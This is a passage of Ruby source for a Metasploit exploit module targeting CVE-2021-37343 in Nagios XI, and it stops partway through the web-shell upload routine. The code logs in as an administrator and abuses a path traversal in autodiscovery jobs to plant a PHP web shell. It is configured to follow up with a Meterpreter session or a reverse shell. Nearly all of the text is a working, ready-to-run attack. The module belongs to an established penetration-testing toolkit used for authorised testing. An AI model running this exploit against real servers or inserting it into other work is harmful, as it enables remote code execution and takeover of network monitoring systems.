## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Autodiscovery Webshell Upload', 'Description' => %q{ This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as `www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a path traversal to a writable and remotely accessible directory, and `custom_ports` field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well. }, 'License' => MSF_LICENSE, 'Author' => [ 'Claroty Team82', # vulnerability discovery 'jbaines-r7' # metasploit module ], 'References' => [ ['CVE', '2021-37343'], ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/'] ], 'DisclosureDate' => '2021-07-15', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { 'Append' => ' & disown' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]), OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]), OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) ] @webshell_uri = '/includes/components/highcharts/exporting-server/temp/' @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/' end # Authenticate and grab the version from the dashboard. Store auth cookies for later user. def check login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 return CheckCode::Detected('Nagios is not fully installed.') when 5 return CheckCode::Detected('The Nagios license has not been signed.') end # res_array[1] cannot be nil since the mixin checks for that already. @auth_cookies = res_array[1] nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') end # affected versions are 5.2.0 -> 5.8.4 if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') && Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0') return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}") end CheckCode::Safe("Determined using the self-reported version: #{nagios_version}") end # Using the path traversal, upload a php webshell to the remote target def drop_webshell autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/') print_status("Attempting to grab a CSRF token from #{autodisc_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => autodisc_uri, 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'newjob' } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('